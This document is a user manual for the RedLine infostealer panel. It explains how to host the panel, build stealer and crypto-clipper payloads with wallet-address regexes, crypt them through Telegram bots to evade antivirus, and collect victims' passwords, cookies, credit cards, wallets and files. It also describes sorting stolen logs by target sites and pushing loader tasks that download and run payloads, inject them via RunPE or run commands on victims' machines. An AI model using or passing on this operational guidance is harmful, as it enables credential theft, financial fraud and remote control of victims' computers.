**Installation**

1. To install the panel, you need to buy a VPS / VDS with the following characteristics:

● RAM 4 GB

● CPU 2 Cores

● SSD disk

● Windows Server OS

1. After you bought the server and activated it, press the Win + R combination, then type "mstsc" and press ENTER.
2. In the "Remote Desktop Connection" window, find the "Computer" field and enter the IP address of the server you bought, click the "Connect" button.
3. Enter the Username and Password that you received when purchasing the server.
4. Once you are logged into the server, transfer the Tools folder from your work PC to the server. Copy the folder and paste on the server.
5. Run the “NetFramework48.exe” file on the server as administrator and install it on the server.
6. Run the “Chrome.exe” file on the server and install it on the server.
7. Open the serviceSettings.json file and change the localhost value to your Dedicated IP.
8. Copy the Panel folder to the server, run the file “RedLine.MainPanel.exe” as administrator, in the open window, enter the account data that you registered when purchasing our program, if you do not have them, then contact the seller to obtain them, and then click the “Sign in” button to enter the panel.

10. If you want to change the port for the panel to work, open the serviceSettings.json file and change the port value to the desired one and restart the panel.

**Builder**

Icon File - an icon for your build

Server IP - the IP address of your server. If you have several domains, then you need to specify them through |

BuildID - a unique identifier for your build, with the help of BuildID you will understand from which file the log came from.

After entering Server IP, click on the “Check connection” button to check the connection to the current address.

The “Icon File” and “BuildID” fields are optional.

All is ready. Click the “Build” button, then select the folder where the final build will be saved and enter a name for it, and then click “Save”.

Creating a clipper build:

At the bottom of the Builder tab, select the icon and then fill in the Patterns field.

The "Patterns" field is filled in as follows:

address|regex

Prepared examples for popular wallets:

BTC Wallet|\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26.35}\b  
ETH Wallet|\b0x[a-fA-F0-9]{40}\b   
BCH Wallet|\b(q|p)[a-z0-9]{41}\b

DOGE Wallet|\bD{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}\b

LTC Wallet|\b[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}\b

DASH Wallet|\bX[1-9A-HJ-NP-Za-km-z]{33}\b

NEO Wallet|\bA[0-9a-zA-Z]{33}\b

XMR Wallet|\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b

XRP Wallet|\br[0-9a-zA-Z]{24,34}\b

ZCASH Wallet|\bt(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b

After filling in all the fields, click the “Build” button at the bottom of the page and save the file.

**Attention!** Clipper build’s startup is not enabled.

**Spectrum Crypter Bot on Telegram**

Ways to crypt a build:

1) The /defensenet command in @spectrcrypt\_bot

2) The /defense command in @spectrcrypt\_bot, and it’ll be crypted on crypter.biz

3) @Floiar

4) @ninjacrypterbot

Commands:

/defensenet - crypt

/defense - prepare file to crypt on cryptor.biz

/check - detection check

/upload - get direct link to your file

How to enable startup in clipper's build:

1) Write /defense in the bot.

2) Send a build to the bot.

3) You will receive a file from the bot, save it under the name “AutoRun.exe”.

4) Write /defensenet in the bot.

5) Send the bot “AutoRun.exe” file.

**Build Settings**

● The “Get Browsers” field is responsible for the function of collecting information from the browsers, enabled by default.

● The “JSON Cookies” field is responsible for the mode of saving cookies in the JSON format. If the checkbox is disabled, the cookies will be saved in the Netscape format.

And if it’s enabled, you’ll need a browser addon like “Cookies Bro” to convert it to SQLite so that you can import the cookies in your browser.

● The “Get ftp clients” field is responsible for the function of collecting information from FTP clients (FileZilla, etc.), enabled by default.

● The “Get IM clients” field is responsible for the function of collecting information from IM clients (Pidgin, etc.), enabled by default.

● The “Get wallets” field is responsible for the collection of cold wallets, enabled by default.

● The “Get Steam” field is responsible for the Steam data collection function.

● The “Get Screenshot” field is responsible for the function of collecting a screenshot.

● The “Get VPN” field is responsible for the VPN data collection function.

● The “Get Telegram” field is responsible for the Telegram data collection function.

● The “Grab UserAgent” field is responsible for the browser fingerprint collection function, allows you to disguise your browser as the victim's browser, enabled by default.

● The “Anti Duplicate” field is responsible for the anti-duplicate logs function, when the field is enabled, repeated logs from one victim will not be displayed, by default it is enabled.

● The “Get files” field is responsible for the function of collecting files from the victim's PC, enabled by default. In order to configure the list of files that the stealer should collect, you need to fill in the “Get files settings” field.

● “Get files settings” field. Immediately below the label is a list of your settings for collecting files. You can add new settings through the “Enter a search pattern” field.

● The “Enter a search pattern” field is required to add a new setting to collect the file. The value in this field must be written in the following format: “Path | Extension | 1 or 0”, OS system variables can be used in the path. In the extension, you can write the full name of the file you want to find (for example, wallet.dat), or part of it (\* .dat, \* wallet \*. \*, \*. \*), Value 1 - if you need to search in subfolders of the specified folder, 0 - if you do not need to search in subfolders. After filling in the field, click on the “Add” button to add to the file collection settings. Also, in order not to fill in one value at a time, you can import these values ​​from a file. Each value must be on a new line. To import values ​​from a file, click on the “From File” button and select the desired file. You can delete values ​​from settings by selecting it in the list with the left mouse button, then right-clicking and choosing “Delete”.

● “Black list countries” field. Immediately below the label is a list of your settings for countries where the build will not work. You can add new settings through the “Enter a country” field.

● “Black list IPs” field. Immediately under the caption there is a list of your settings for IP addresses where the build will not work. You can add new settings through the “Enter an IP” field.

● The “Enter a country” field is required to add a new setting for countries where the build will not work. The value in this field must be written in the following format: UA, RU, US, etc.

A complete list of countries can be found at: https://www.acex.net/ru/useful\_information/ISO\_country\_codes.php

Values ​​from column A2. After filling in the field, click on the “Add” button to add countries to the blacklist settings. You can delete values ​​from settings by selecting it in the list with the left mouse button, then right-clicking and selecting “Delete”.

● “Domain Detector settings” field. Immediately below the label is a list of your settings for collecting files. You can add new settings through the “Enter a domain pattern” field.

● The “Enter a domain pattern” field is required to add a new setting of domain groups, which will be searched for when logs arrive, if a domain from a group is found in the log, you will be shown this in the PDD column (if in passwords), or in the column CDD (if in cookies). The value in this field must be written in the following format: GROUP NAME = domain Example 1: CRYPTO = blockchain | hitbtc Example 2: PP = paypal After filling in the field, click on the “Add” button to add a new value to the settings. You can delete values ​​from settings by selecting it in the list with the left mouse button, then right-clicking and selecting “Delete”.    

**IMPORTANT!** For the changes to take effect, you must click on the "Save Settings"

**Notifications**

The “Notifications” tab is used to display important panel events. It will show when the task was completed or a duplicate of the log was received

**Statistic**

Here, you’ll get the statistics on the logs that are in the panel.

● The “Passwords” field shows the total number of passwords in all logs.

● The “Cookies” field shows the total number of cookies in all logs.

● The “Autofills” field shows the total number of autofill forms in all logs.

● The “Credit Cards” field shows the total number of credit cards in all logs.

● The “Files” field shows the total number of files from the grabber in all logs.

● The “FTP” field shows the total number of FTP accounts in all logs.

● The “Cold Wallets” field shows the total number of cold wallets in all logs.

● The “Top 10 of County” field shows the TOP10 countries by the number of logs from these countries.

● “Top 10 of OS” field shows TOP10 operating systems by the number of logs with these operating systems.

● The “Top 10 of AV” field shows TOP10 antiviruses by the number of logs with these antiviruses.

● The “Reset all stats” button is responsible for resetting all statistics, without deleting the logs.

Guest statistics for installers are configured in the “Guest Links” tab

At the top of the tab is a list of valid guest links.

In order to create public statistics for the required build, fill in the fields:   
“BuildID” is the identifier of the build, the statistics of which you want to display, you specified it in the builder when creating.

“Expires DateTime” is needed to limit the access time to this link. If you want to do it without restrictions, leave the field empty, if you want the link to work until a certain time, then the value format is 01/01/2020 23:59

And then click “Create Link”.

To get a link, double-click on the required line in the list of links, the browser will open following the link.

To delete a link, right-click on the line and then “Delete”

**Wallet Checker**

Click on the “Open” button, and then select the cold wallet file, after successful verification, you will be shown the amount of BTC that is available as the balance of that wallet.

**Logs Sorter**

Here, you will see two types of sorter: the left one, which is necessary for searching by parameters, or the right one, which sorts the logs by the required domains.

Description of the left sorter:

Field "Country" - the country that should be in the log

Field "BuildID" - build identifier in the log

The “Set Comment” field is a comment that will be assigned to the log if it goes through the rest of the parameters.

Field "Skip Comment" - a comment in the log, at which the log will be skipped for sorting

Field "Comment" - a comment that should be in the log

Field "OS" - operating system, which should be in the log

The “Password Contains Domain” field is the domain of the site, which should be included in the passwords of the log (example: paypal.com). You can also specify multiple domains by separating them | To specify the required number of passwords from this site, enter in the format vk.com:3 - it will find logs where the number of passwords from the site vk.com is 3 or more

Field “Cookies Contains Domain” - the domain of the site, which should be in the cookies of the log (example: paypal.com). You can also specify several domains, separating them | .To specify the required number of passwords from this site, enter in the format vk.com:3 - it will find logs where the number of cookies from the site vk.com is 3 or more

Field “Credit cards” - the log must contain credit cards, by default it is enabled

Field “Autofills” - the log should contain auto-complete forms, by default it is enabled

Field “FTPs” - the log should contain FTP accounts, enabled by default

Field "Files" - the log should contain files from the grabber, by default it is enabled

Field “Cold wallets” - the log must contain cold wallets, by default it is enabled

Field “LogDate FROM” - start date and time, before which logs will not be saved

The “LogDate To” field is the end date and time, after which the logs will not be saved.

Field “Skip Checked” - skip checked logs

Field “Skip Empty Passwords” - skip logs with empty passwords

Field “Skip Empy Cookies” - skip logs with empty cookies

Field “Refresh Domain Detect” - refreshes PDD, CDD values ​​in the log table

"Remove empty logs" field - removes all empty logs

In the Comment, Skip Comment, BuildID, Country fields, you can specify several values ​​for sorting, you need to specify them separated by commas.

In the fields Passwords Contains Domain, Cookies Contains Domain, you can specify several values ​​for the search, you need to specify them through |

All fields are optional. Logs will be saved only those that fit all the specified fields at once. If at least one field does not meet your requirements in the log, it will not be saved. To sort, check all the fields for correctness, and then click on the “Sort” button and in the window select the folder where the files that match your parameters will be located.

Description of the top right sorter:

In the text box under the “Current domain” label, you must enter the domains you want to find.

Each domain must be entered on a new line.

A separate folder with logs will be created for each domain.

After filling in the field, click on Sort and select the folder where the logs will be saved.

Description of the bottom right sorter:

This sorter will save the logins and passwords of the desired sites in the text editor.

For example, enter the site yandex.ru in the search field and click “Sort”, the sorter will create a text editor for yandex.ru, write down the logins and passwords from all logs from this site.

**Telegram Notifications**

1) Go to the firewall and add the main exe panel to the whitelist

2) Then create a bot in a telegram (Google for help)

3) Copy its API Token

4) Go to the panel, then the Telegram tab, write this token in the “Bot API Token” field

5) In the “Message Format” field, you must write the format of the notification that you want to receive using the following variables:

● {BuildID}

● {ID}

● {CDD}

● {PDD}

● {Comment}

● {Country}

● {Creds}

● {HWID}

● {IP}

● {Location}

● {LogDate}

● {OS}

● {PostalCode}

● {TimeZone}

● {Username}

6) Using these variables in the text, you can compose the desired format. Format example:

Number: {ID}

Build: {BuildID}

OS: {OS}

IP: {IP}

Data: {Cred}

Country: {Country}

7) “Send Log File” - is responsible for whether the file itself with the log will be sent or only a message about the log. Enable only if the flow of logs is slow. Uncheck this checkbox for installations.

8) Press the "Start" button

9) Go to your bot, press / start

10) And then / sub

11) If in response he writes "Successful", then everything is successfully configured

**Loader Tasks**

At the top of the window, you will see a list of existing tasks for the stealer.

One task is performed only once on one victim. After a successful execution, the stealer remembers that it completed it and no longer performs it. The parameter for memorizing a task is the “ID” field in the task list.

The "Reset" button is responsible for a complete reset of the history of completed tasks, as well as existing ones. Clears the to-do list.

The "Refresh list" button refreshes the data in the task list. Namely the “Current” and “Status” fields.

At the bottom of the window, the panel is divided into two parts:

The left one is for creating a task, the right one is for editing existing ones.

Left side description:

The following values ​​are available for the “Action” field:

Download - download a file via a direct link to the specified folder

DownloadAndEx - download a file via a direct link to the specified folder and then launch this file

OpenLink - opening the desired site in the victim's browser

Cmd - execution of a cmd command on the victim's computer

RunPE - receives a file by direct link, and then starts this file in the memory of another application, which you specify (injection)

The Target field is filled in a different format depending on the Action field.

Target field format for Download: link | file path

Example: https://site.ru/filename.exe|%tmp%\filename.exe

Target field format when RunPE is:

link | file name from folder C:\Windows\Microsoft.NET\Framework\v4.0.30319

Example: https://site.ru/filename.exe|AddInProcess32.exe

Target field format for DownloadAndEx: link | file path

Example: https://site.ru/filename.exe|%tmp%\filename.exe

OpenLink Target Field Format: link

Example: https://site.ru/filename.exe

Target field format with Cmd: link

Example: shutdown -r -t 0

In the “FinalPoint” field, you must enter the number of successful executions of the task, after the number of executions reaches this number, the task will be considered as completed.

In the “Filter” field, you can write a filter by the following parameters:

Country, IP, OS, BuildID

The filling format is as follows:

Country = RU; BuildID = testid

It is not necessary to use all filters. They can be combined with each other, or even left blank if you want to perform this task to all victims.

In the “Domains Check” field, you can enter domains through the separator |, if the field is filled in, then the presence of these domains in the passwords will be checked, and if they are found, the task will be completed.

Examples:

paypal.com

paypal.com | amazon.com

To add a task, check all the fields and click “Add”

To change a task, select the one you need in the list of tasks and change the required fields in the lower right part, and then click “Save”

To delete a task, select the one you need in the list of tasks and change the “Visible” field in the lower right part, and then click “Save”

**Logs**

Most of the window is occupied by a list of current logs.

Each line is a unique log with fields:

Field “ID” - unique number of the log in the list

The "HWID" field is a unique identifier based on the characteristics of the victim's OS

Field "IP" - IP Address

OS field - Operating System

The "BuildID" field is the build identifier that was specified when creating the build

"LogDate" field - date and time when the log was added to the list

OS field - operating system

Country field - country

"Comment" field - comment

“PDD” field - this field records the detector domain groups for passwords that you added in the settings.

“CDD” field - this field records the cookie detector domain groups that you added in the settings.

To search among the list of logs, fill in the “Search filter” field, and then press the “Search” button. Value format:

Country = RU, UA, US; BuildID = test1

That is, it is similar to the filter when creating tasks.

To assign a comment to the required log, select the required one from the list, and then fill in the “Enter a comment” field and press “Set”.

To save all logs to a folder, click the “Save list” button, and then select the folder where the logs will be located

To clear the list of all logs, click on the “Clear all logs” button, and then confirm your action.

To view the logs directly in the panel. select the required log in the list by left-clicking, and then right-clicking on it again. A menu will be displayed where you can view all the data of this log.

The “System Info” menu item will show you the system log information and a screenshot from the screen.

The “Save” menu item is needed in order to save this log to the folder that you select.

The "Runtime Exceptions" menu item is for diagnosing errors, for developers only.

The “Delete” menu item will delete the selected log from the list of logs.

The "Viewers" menu item is required to view the collected information:

Passwords - logins and passwords

Cookies - cookies

Autofills - autocomplete forms

Credit cards - credit cards

FTP - FTP accounts

Files - files

**File Hosting**

To get a direct link to a file, go to the “Guest Links” tab, at the bottom, click on the “Create Link” button, and then select the file to which you want to get a direct link.

If you want your file to have a new md5 checksum every time, then check the box “Change checksum”.

To delete a link, select the link you need from the list, and then right-click and select "Delete"

**Other**

Go to the "Misc" tab.

The upper part of the window is responsible for creating a clone of another file

Target Path - the file to be copied

Build Path - your build

Field "Assembly Info" - copy the icon and description of the file

"Certificate" field - copy the certificate

After filling in the fields, click on the "Clone" button

The lower part of the window is responsible for increasing the file size

Target Path - the file that needs to be increased in size

Bytes count - the number of bytes to be added to the size of your file

After filling in the fields, click on the "Pump" button.